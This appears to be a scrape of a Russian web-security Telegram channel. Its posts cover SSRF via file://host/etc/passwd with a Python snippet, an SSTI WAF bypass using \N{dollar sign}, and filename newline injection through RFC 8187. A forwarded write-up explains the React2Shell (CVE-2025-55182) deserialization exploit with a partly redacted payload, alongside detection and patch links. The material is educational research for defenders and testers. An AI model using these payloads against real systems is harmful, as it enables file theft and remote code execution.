вольтаж – Telegram
вольтаж
830 subscribers
36 photos
6 videos
7 files
60 links
Кибершумные заметки о безопасности веба, инфры и головы

связь - @w0ltage
Download Telegram
пример проактивности агента с ролью Analyst во время брейншторма по рефакторингу

агент предложил пройтись по некой методике SCAMPER, задавая мне вопросы по каждому пункту

полный вопрос агента:
A - Adapt.

How can we adapt the worker, or the system around it, to serve new purposes or new contexts? Now that the worker is a general-purpose executor, what else could we use it for?

For example, could we adapt it to manage not just [REDACTED], but also [REDACTED]? What would need to change?
42
ПАПКИ ПАПКИ 😲УКА ПАПКИ

Бывает, решился на мысль, зашёл в тг, увидел диско шар уведомлений по чатам, отвлёкся и уже забыл как хотел измениться.

Как оказалось, с тг премиумом, эту вонючую папку "Все чаты", можно выкинуть в конец списка и забыть о ней

Что делать:
- создай / выбери канал что хочешь держать на виду всегда
- настройки -> папки, создай ещё одну папку и добавь туда выбранный канал
- перемести папку на первое место в списке

Поздравляю, ты выбыл из крысиных бегов за вниманием.

Для авторов тг каналов — рекомендую закинуть в папку канал с заметками для постов

#lifeops
Please open Telegram to view this post
VIEW IN TELEGRAM
73
наконец-то узнал как атаковать эту синюю коробку

#infrastructure #web #research
Forwarded from Pentest Notes
Подготовил для вас подробное руководство по тестированию на проникновение Outlook Web Access (OWA). 😈

➡️ В статье я разобрал все основные атаки и уязвимости OWA. Собрал и структурировал самое полезное в одном месте.

➡️ Также материал идеально подойдет для тех, кто все еще путает между собой OWA, Outlook и MS Exchange :)

Даже если вы раньше не сталкивались с почтовыми сервисами Microsoft, после прочтения смело можете бежать проверять их на безопасность. 🥤

Ссылка на статью

💫 @pentestnotes | #pentest #OWA #Exchange
Please open Telegram to view this post
VIEW IN TELEGRAM
75
WAPPALYZER В ТЕРМИНАЛЕ

🍭 s0md3v/wappalyzer-next

~год искал CLI тулзу, что сможет раскрывать tech stack столь же хорошо как wappalyzer расширение в браузере

как оказалось, легче запускать headless firefox с wappalyzer, чем пытаться сделать open source wappalyzer-like сканеры (1 2)

#tool #recon
Please open Telegram to view this post
VIEW IN TELEGRAM
83
Forwarded from вольтаж
httpx использует собственную разработку projectdiscovery, о которой также сказано в посте — wappalyzergo

знаешь как она определеяет стек?
оно отправляет один запрос и смотрит на ответ

об этом даже issue создавали
https://github.com/projectdiscovery/httpx/issues/959

в то же время, благодаря headless firefox, wappalyzer успевает захватить все подгружаемые JS и определить полный стек
41
file://localhost/etc/passwd
что вернёт?

Да, вернётся /etc/passwd.

В RFC 8089, верный формат протокола описан как file://<host>/<path>, в то время как все шпоры на LFR при SSRF говорят лишь о file:///<path>

Причём, в <host> возможно вписать домен. Система резолвнет его, и если тот указывает на 127.0.0.1, то вернётся содержимое файла. В противном случае получишь лишь отстук в DNS.

питон пок

from urllib.request import urlopen

content = urlopen(
"file://yoogle.com/etc/passwd", timeout=2,
).read().decode('utf-8')

print(content)


Представил сколько возможностей для обхода фильтров? И это не последний твой приступ FOMO за сегодня.

В статье The Minefield Between Syntaxes от @yeswehack, автор вскрывает проблемы разных синтаксисов и как парсеры выживают с ними.

Представим, ты нашёл SSTI, но WAF блокирует символ $
Что делать?


Неприятно, но не критично, ведь в Python / Perl возможно представить символ через \N{CHARACTER NAME}.

Пример обхода фильтра
\N{dollar sign}{7*7} == ${7*7} == 49


Уже на стену лезешь? Погоди, я с тобой ещё не закончил.

Давай дальше по загрузке файлов. Видел же в Content-Disposition есть параметр filename?

В RFC 6266 описан базовый подход с именем файла, но RFC 8187 вышибает дверь с... чего.. какие юникод байты 😱


# RFC 6266
filename="image.png"

# RFC 8187
filename*=UTF8''image%0a.png


RFC 8187 вводит новые правила для filename параметра, включая поддержку всего Unicode + способности кодировать произвольные байты через %

То есть, ты можешь закодировать перенос строки (%0a == \n) и всячески ломать как парсинг имени файла, так и куда тот запишется.

. . .

FOMO карусель закрыта.
Как восстановишь силы, пробегись по статье автора ради:
⚀ разбор CVE из-за проблем синтаксиса [^]

⚀ кейс бб, из cache poisoning в stored xss через пролом валидации parse_url в PHP [^]

⚀ кейс бб, из слепого чтения файлов через SSRF в arbitrary file read [^]


Затем разнеси CTF по ресерчу
1. обход фильтров SSTI [^]

2. иной подход к протоколу file:// [^]

3. пролом parse_url в PHP [^]


#web #bypass #server_side #guide
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
32248
нет слов одни эмоции
Forwarded from HaHacking
⚠️  #web #offense #события #заметки

➡️Что по поводу React2Shell (CVE-2025-55182 / CVE-2025-66478)?

Исходя из обновлённых react2shell.com (ресурс от автора CVE) и репозитория msanft/CVE-2025-55182, на данный момент имеем следующее: подтверждается, что наконец стали распространяться валидные PoC, не требующие подключения vm#runInThisContext, child_process#exec, fs#writeFile и им подобных;

⚡️ UPD:

Уже доступен оригинальный PoC, использованный для репорта уязвимости вендору!



🐇 Проблема

Сервер и клиент обмениваются чанками, передавая их через form-data — причём чанки могут содержать ссылки друг на друга.  До этого коммита не проверялось, принадлежит ли ключ объекту — можно было добраться до прототипа;

С помощью нагрузки вроде "$1:__proto__:constructor:constructor" можно получить [Function: Function]глобальный конструктор;


Если чанк имеет поле then, то уязвимый сервер думает, что это промис — делает await decodeReplyFromBusboy(...) и вызывает then(resolve, reject);

Соответственно, можем сформировать специальный объект, где then указывал бы на Function


files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}



🐇 Эксплуатация

0️⃣ Десериализатор React через getChunck берёт чанк с ID=0 как корневой для разбора ссылок;

1️⃣ Через специальный синтаксис ($@) можно сослаться из чанка ID=1 на чанк ID=0, который вернул бы сырой чанк вместо разобранного объекта;

2️⃣ Когда .status вредоносного чанка = "resolved_model", мы попадаем в initializeModelChunk — где .value парсится как JSON, резолвятся ссылки и вызывается reviveModel, куда передаётся _response из чанка;

3️⃣ При обработке blob'ов с префиксом $B происходит вызов response._formData.get(response._prefix + obj);

4️⃣ Значит, в ._formData — указываем на конструктор Function, а в ._prefix — на произвольный код;

5️⃣ response._formData.get(response._prefix + "0") превратится в Function("█████████") ⚡️

6️⃣ Эксплуатация происходит во время десериализации, ещё до валидации запроса через getActionModIdOrError;  В запросе должен быть заголовок Next-Action


🐇 Полезная нагрузка

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"███████████████████;",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}


Разбирая полезную нагрузку по пунктам:
▪️"then": "$1:__proto__:then"
➡️ чтобы чанк ID=0 переписал собственный .then();

▪️"status": "resolved_model"
➡️ чтобы Chunk.prototype.then перешёл к выполнению initializeModelChunk;

▪️"reason": -1
➡️ чтобы не упасть на моменте toString в initializeModelChunk;

▪️"value": '{"then": "$B0"}'
➡️ чтобы после второго прохода десериализации превратить в thenable и добраться до response._formData.get(response._prefix + obj);

▪️"_prefix"
➡️ здесь произвольный код для выполнения;

▪️"_formData"
➡️ здесь указываем на конструктор;



🐇 Обнаружение & Митигация

   🧩   WAF правила:  AWS / Google Cloud / Azure

   🧩   Шаблон Nuclei:  projectdiscovery/nuclei-templates/.../CVE-2025-55182.yaml


CVE-2025-55182
Уязвимые версии:  от React 19 до React 19.2.0
Починили в React 19.2.1

Починили тут:  facebook/react/commit/7dc9...8700
Объявили тут:  react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components


CVE-2025-66478
Уязвимые версии:  от Next.js 15 до Next.js 16
Починили в этих версиях

Починили тут:  vercel/next.js/commit/6ef90...07b2
Объявили тут:  nextjs.org/blog/CVE-2025-66478




➡️Здесь и здесь — подробный разбор причины, следствия и эксплуатации, а также PoC от сильного тайваньского CTF'ера:

   🧩   msanft/CVE-2025-55182

   🧩   maple3142/48bc...f5f3


⚡️ А здесь – сразу несколько PoC'ов от оригинального автора CVE:

   🧩   lachlan2k/React2Shell-CVE-2025-55182-original-poc


➡️Stay safe!

   @HaHacking  🐇
Please open Telegram to view this post
VIEW IN TELEGRAM
64
пацаны, не гоняйте за эксплойтами 1дей, вы системе ещё нужны
32
🎇 сводка по react2shell безумию

events
* китайские группировки сориентировались за 30 часов и начали раскидывать майнеры монеро и LD_PRELOAD руткиты
* добрые (😈) хакеры пробивают таргеты и затем патчат их, устраивая дефейс с "сервер уязвим, фиксаните пж"

* Vercel вышли на h1 с программой по обходам их WAF. платят 50к$ за обход react2shell. уже получили репортов на 750к$

facts
* легче обновиться, чем защищаться waf'ом
* все сдают react2shell в бб и надеются на деньги
* багхантеры написали браузерное расширение на детект
* nuclei добавили смешные правила на детект
(кто пропустит сложение чисел в powershell?)

vuln
* в эксплойтие, для массовых детектов, в _prefix используют js функции вместо child_process
(curl не всегда есть в контейнере, но fetch() всегда есть в node runtime)

* react2shell не оставляет следов на диске, от чего все жалуются на сложность детекта
* уязвим не только next.js, но и прочее во влиянии react rsc: react router, vite rsc, parcel rsc, waku, redwood sdk


слушай, вОЛьТаЖ, а что почитать? не хочу вникать в килотонны текста


Включай этот absolute cinema. Это будут лучшие 40 минут за день.

https://youtu.be/tdDHUoi_TdQ
https://youtu.be/tdDHUoi_TdQ
https://youtu.be/tdDHUoi_TdQ

Автор содрал кожу с реакта, расставил в нём брейкпоинтов и прошёлся по всему пути эксплоита, объясняя логику внутренностей реакта на важных чекпоинтах (их больше 20)

Если останутся силы, затем нырни в килотонну текста от CEO Vercel. После видео - it's starting to make sense

https://x.com/rauchg/status/1997362942929440937

#CVE_2025_55182 #web
Please open Telegram to view this post
VIEW IN TELEGRAM
587
вольтаж
🎇 сводка по react2shell безумию events * китайские группировки сориентировались за 30 часов и начали раскидывать майнеры монеро и LD_PRELOAD руткиты * добрые (😈) хакеры пробивают таргеты и затем патчат их, устраивая дефейс с "сервер уязвим, фиксаните пж"…
40 прожатий ⚪️ на посту и делаю разбор react2shell на русском + сюрприз

будет плотно, тяжело и с картинками.
всё как ты любишь.

upd: быстро же вы набрали. задача была взята в работу!
Please open Telegram to view this post
VIEW IN TELEGRAM
492